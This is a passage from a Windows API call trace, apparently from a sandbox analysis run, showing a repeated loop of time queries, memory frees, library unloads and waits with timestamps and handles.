lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x688b1b68, dwHighDateTime=0x1d9eb0c)) [0227.644] free (_Block=0x196ef0d20e0) [0227.645] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.645] free (_Block=0x196ef0d4e70) [0227.647] free (_Block=0x196ef0fba40) [0227.647] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x688d89cc, dwHighDateTime=0x1d9eb0c)) [0227.665] free (_Block=0x196ef0d1ae0) [0227.666] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.667] free (_Block=0x196ef0d4e70) [0227.668] free (_Block=0x196ef0fb270) [0227.668] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x688fe2b9, dwHighDateTime=0x1d9eb0c)) [0227.679] free (_Block=0x196ef0d1d60) [0227.679] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.679] free (_Block=0x196ef0d4e70) [0227.680] free (_Block=0x196ef0fb4a0) [0227.681] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68996a06, dwHighDateTime=0x1d9eb0c)) [0227.737] free (_Block=0x196ef0d20c0) [0227.737] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.737] free (_Block=0x196ef0d4e70) [0227.738] free (_Block=0x196ef0fc170) [0227.738] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68996a06, dwHighDateTime=0x1d9eb0c)) [0227.746] free (_Block=0x196ef0d1da0) [0227.747] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.747] free (_Block=0x196ef0d4e70) [0227.748] free (_Block=0x196ef0fbf40) [0227.748] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x689bcb54, dwHighDateTime=0x1d9eb0c)) [0227.758] free (_Block=0x196ef0d1a20) [0227.759] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.759] free (_Block=0x196ef0d4e70) [0227.760] free (_Block=0x196ef0fbd60) [0227.760] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x689e31a4, dwHighDateTime=0x1d9eb0c)) [0227.774] free (_Block=0x196ef0d1b20) [0227.774] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.775] free (_Block=0x196ef0d4e70) [0227.775] free (_Block=0x196ef0fb8b0) [0227.776] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68aa19ad, dwHighDateTime=0x1d9eb0c)) [0227.850] free (_Block=0x196ef0d1be0) [0227.850] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.851] free (_Block=0x196ef0d4e70) [0227.853] free (_Block=0x196ef0fb3b0) [0227.853] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68ac7fb8, dwHighDateTime=0x1d9eb0c)) [0227.864] free (_Block=0x196ef0d1f40) [0227.864] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.864] free (_Block=0x196ef0d4e70) [0227.865] free (_Block=0x196ef0fbef0) [0227.866] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68ac7fb8, dwHighDateTime=0x1d9eb0c)) [0227.874] free (_Block=0x196ef0d1f60) [0227.874] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.875] free (_Block=0x196ef0d4e70) [0227.876] free (_Block=0x196ef0fb450) [0227.876] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68aee5e7, dwHighDateTime=0x1d9eb0c)) [0227.891] free (_Block=0x196ef0d1cc0) [0227.891] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.892] free (_Block=0x196ef0d4e70) [0227.893] free (_Block=0x196ef0fc170) [0227.893] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68baca5f, dwHighDateTime=0x1d9eb0c)) [0227.956] free (_Block=0x196ef0d1da0) [0227.956] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.957] free (_Block=0x196ef0d4e70) [0227.957] free (_Block=0x196ef0fbfe0) [0227.958] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68baca5f, dwHighDateTime=0x1d9eb0c)) [0227.965] free (_Block=0x196ef0d19a0) [0227.965] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.966] free (_Block=0x196ef0d4e70) [0227.966] free (_Block=0x196ef0fb2c0) [0227.967] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68bd304c, dwHighDateTime=0x1d9eb0c)) [0227.973] free (_Block=0x196ef0d1f20) [0227.973] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.973] free (_Block=0x196ef0d4e70) [0227.974] free (_Block=0x196ef0fb4a0) [0227.975] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68bd304c, dwHighDateTime=0x1d9eb0c)) [0227.982] free (_Block=0x196ef0d20e0) [0227.982] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.982] free (_Block=0x196ef0d4e70) [0227.983] free (_Block=0x196ef0fc120) [0227.983] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68bf933c, dwHighDateTime=0x1d9eb0c)) [0227.990] free (_Block=0x196ef0d1de0) [0227.990] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0227.990] free (_Block=0x196ef0d4e70) [0227.991] free (_Block=0x196ef0fbb30) [0227.992] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.051] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68c9191e, dwHighDateTime=0x1d9eb0c)) [0228.051] free (_Block=0x196ef0d1d60) [0228.052] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.052] free (_Block=0x196ef0d4e70) [0228.053] free (_Block=0x196ef0fc120) [0228.053] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68cb7b34, dwHighDateTime=0x1d9eb0c)) [0228.067] free (_Block=0x196ef0d1980) [0228.067] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.068] free (_Block=0x196ef0d4e70) [0228.068] free (_Block=0x196ef0fb4f0) [0228.068] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68cb7b34, dwHighDateTime=0x1d9eb0c)) [0228.074] free (_Block=0x196ef0d1aa0) [0228.074] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.074] free (_Block=0x196ef0d4e70) [0228.075] free (_Block=0x196ef0fb4f0) [0228.075] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68cddd9a, dwHighDateTime=0x1d9eb0c)) [0228.080] free (_Block=0x196ef0d1c40) [0228.080] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.081] free (_Block=0x196ef0d4e70) [0228.081] free (_Block=0x196ef0fb4f0) [0228.082] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68cddd9a, dwHighDateTime=0x1d9eb0c)) [0228.087] free (_Block=0x196ef0d1ea0) [0228.087] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.088] free (_Block=0x196ef0d4e70) [0228.088] free (_Block=0x196ef0fbe00) [0228.088] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68d9c798, dwHighDateTime=0x1d9eb0c)) [0228.159] free (_Block=0x196ef0d1a60) [0228.159] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.160] free (_Block=0x196ef0d4e70) [0228.161] free (_Block=0x196ef0fbea0) [0228.161] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68d9c798, dwHighDateTime=0x1d9eb0c)) [0228.167] free (_Block=0x196ef0d2060) [0228.167] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.167] free (_Block=0x196ef0d4e70) [0228.168] free (_Block=0x196ef0fb950) [0228.168] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68dc2c44, dwHighDateTime=0x1d9eb0c)) [0228.176] free (_Block=0x196ef0d1e60) [0228.176] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.177] free (_Block=0x196ef0d4e70) [0228.178] free (_Block=0x196ef0fb220) [0228.178] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68dc2c44, dwHighDateTime=0x1d9eb0c)) [0228.184] free (_Block=0x196ef0d20a0) [0228.184] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.185] free (_Block=0x196ef0d4e70) [0228.186] free (_Block=0x196ef0fb270) [0228.186] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68de8d50, dwHighDateTime=0x1d9eb0c)) [0228.194] free (_Block=0x196ef0d1ee0) [0228.194] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.194] free (_Block=0x196ef0d4e70) [0228.195] free (_Block=0x196ef0fbb30) [0228.196] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68e81726, dwHighDateTime=0x1d9eb0c)) [0228.255] free (_Block=0x196ef0d1f20) [0228.256] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.256] free (_Block=0x196ef0d4e70) [0228.257] free (_Block=0x196ef0fba40) [0228.257] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68ea7926, dwHighDateTime=0x1d9eb0c)) [0228.266] free (_Block=0x196ef0d1e60) [0228.267] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.267] free (_Block=0x196ef0d4e70) [0228.268] free (_Block=0x196ef0fb5e0) [0228.268] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68ea7926, dwHighDateTime=0x1d9eb0c)) [0228.275] free (_Block=0x196ef0d1b20) [0228.276] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.276] free (_Block=0x196ef0d4e70) [0228.277] free (_Block=0x196ef0fb9a0) [0228.277] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68ecdbda, dwHighDateTime=0x1d9eb0c)) [0228.283] free (_Block=0x196ef0d1ae0) [0228.283] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.284] free (_Block=0x196ef0d4e70) [0228.284] free (_Block=0x196ef0fbae0) [0228.284] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68ecdbda, dwHighDateTime=0x1d9eb0c)) [0228.290] free (_Block=0x196ef0d1f00) [0228.290] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.290] free (_Block=0x196ef0d4e70) [0228.291] free (_Block=0x196ef0fbb30) [0228.291] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68ecdbda, dwHighDateTime=0x1d9eb0c)) [0228.297] free (_Block=0x196ef0d19e0) [0228.297] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.298] free (_Block=0x196ef0d4e70) [0228.298] free (_Block=0x196ef0fbd60) [0228.298] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68f8c7a9, dwHighDateTime=0x1d9eb0c)) [0228.362] free (_Block=0x196ef0d1b60) [0228.362] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.363] free (_Block=0x196ef0d4e70) [0228.364] free (_Block=0x196ef0fc170) [0228.364] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68f8c7a9, dwHighDateTime=0x1d9eb0c)) [0228.370] free (_Block=0x196ef0d1ec0) [0228.370] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.370] free (_Block=0x196ef0d4e70) [0228.371] free (_Block=0x196ef0fbea0) [0228.371] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68fb2bd9, dwHighDateTime=0x1d9eb0c)) [0228.378] free (_Block=0x196ef0d1a20) [0228.379] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.379] free (_Block=0x196ef0d4e70) [0228.380] free (_Block=0x196ef0fb8b0) [0228.380] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68fb2bd9, dwHighDateTime=0x1d9eb0c)) [0228.385] free (_Block=0x196ef0d1e60) [0228.386] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.387] free (_Block=0x196ef0d4e70) [0228.388] free (_Block=0x196ef0fbe50) [0228.388] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68fd8cf2, dwHighDateTime=0x1d9eb0c)) [0228.395] free (_Block=0x196ef0d1be0) [0228.395] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.396] free (_Block=0x196ef0d4e70) [0228.397] free (_Block=0x196ef0fbdb0) [0228.397] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x68fd8cf2, dwHighDateTime=0x1d9eb0c)) [0228.402] free (_Block=0x196ef0d1a40) [0228.403] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.403] free (_Block=0x196ef0d4e70) [0228.404] free (_Block=0x196ef0fb680) [0228.404] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x690715ed, dwHighDateTime=0x1d9eb0c)) [0228.455] free (_Block=0x196ef0d1fa0) [0228.455] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.455] free (_Block=0x196ef0d4e70) [0228.456] free (_Block=0x196ef0fb8b0) [0228.457] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x690715ed, dwHighDateTime=0x1d9eb0c)) [0228.463] free (_Block=0x196ef0d1a80) [0228.463] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.463] free (_Block=0x196ef0d4e70) [0228.464] free (_Block=0x196ef0fb900) [0228.464] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69097845, dwHighDateTime=0x1d9eb0c)) [0228.469] free (_Block=0x196ef0d1ba0) [0228.469] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.470] free (_Block=0x196ef0d4e70) [0228.471] free (_Block=0x196ef0fc0d0) [0228.471] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69097845, dwHighDateTime=0x1d9eb0c)) [0228.476] free (_Block=0x196ef0d1ba0) [0228.476] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.477] free (_Block=0x196ef0d4e70) [0228.478] free (_Block=0x196ef0fbae0) [0228.478] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69097845, dwHighDateTime=0x1d9eb0c)) [0228.483] free (_Block=0x196ef0d1cc0) [0228.483] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.484] free (_Block=0x196ef0d4e70) [0228.485] free (_Block=0x196ef0fbae0) [0228.485] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x690bda34, dwHighDateTime=0x1d9eb0c)) [0228.492] free (_Block=0x196ef0d1e00) [0228.493] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.493] free (_Block=0x196ef0d4e70) [0228.494] free (_Block=0x196ef0fba90) [0228.494] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x690bda34, dwHighDateTime=0x1d9eb0c)) [0228.499] free (_Block=0x196ef0d1b60) [0228.499] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.500] free (_Block=0x196ef0d4e70) [0228.502] free (_Block=0x196ef0fbae0) [0228.502] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6917c5d9, dwHighDateTime=0x1d9eb0c)) [0228.565] free (_Block=0x196ef0d1960) [0228.565] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.566] free (_Block=0x196ef0d4e70) [0228.567] free (_Block=0x196ef0fb9a0) [0228.567] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6917c5d9, dwHighDateTime=0x1d9eb0c)) [0228.573] free (_Block=0x196ef0d1ba0) [0228.573] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.574] free (_Block=0x196ef0d4e70) [0228.574] free (_Block=0x196ef0fc120) [0228.575] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x691a2aba, dwHighDateTime=0x1d9eb0c)) [0228.581] free (_Block=0x196ef0d1e20) [0228.581] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.581] free (_Block=0x196ef0d4e70) [0228.582] free (_Block=0x196ef0fc0d0) [0228.582] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x691a2aba, dwHighDateTime=0x1d9eb0c)) [0228.589] free (_Block=0x196ef0d1c60) [0228.590] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.590] free (_Block=0x196ef0d4e70) [0228.591] free (_Block=0x196ef0fb810) [0228.591] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x691c8b2b, dwHighDateTime=0x1d9eb0c)) [0228.600] free (_Block=0x196ef0d1ca0) [0228.600] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.600] free (_Block=0x196ef0d4e70) [0228.601] free (_Block=0x196ef0fc170) [0228.601] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x691c8b2b, dwHighDateTime=0x1d9eb0c)) [0228.609] free (_Block=0x196ef0d1ea0) [0228.609] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.609] free (_Block=0x196ef0d4e70) [0228.610] free (_Block=0x196ef0fbd60) [0228.610] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x692613d2, dwHighDateTime=0x1d9eb0c)) [0228.660] free (_Block=0x196ef0d1960) [0228.660] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.661] free (_Block=0x196ef0d4e70) [0228.662] free (_Block=0x196ef0fbc20) [0228.662] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x692613d2, dwHighDateTime=0x1d9eb0c)) [0228.669] free (_Block=0x196ef0d1fc0) [0228.669] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.669] free (_Block=0x196ef0d4e70) [0228.670] free (_Block=0x196ef0fbc20) [0228.670] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69287785, dwHighDateTime=0x1d9eb0c)) [0228.676] free (_Block=0x196ef0d2080) [0228.676] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.677] free (_Block=0x196ef0d4e70) [0228.678] free (_Block=0x196ef0fbef0) [0228.678] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x692ad7c2, dwHighDateTime=0x1d9eb0c)) [0228.688] free (_Block=0x196ef0d2000) [0228.688] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.689] free (_Block=0x196ef0d4e70) [0228.690] free (_Block=0x196ef0fb220) [0228.690] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: 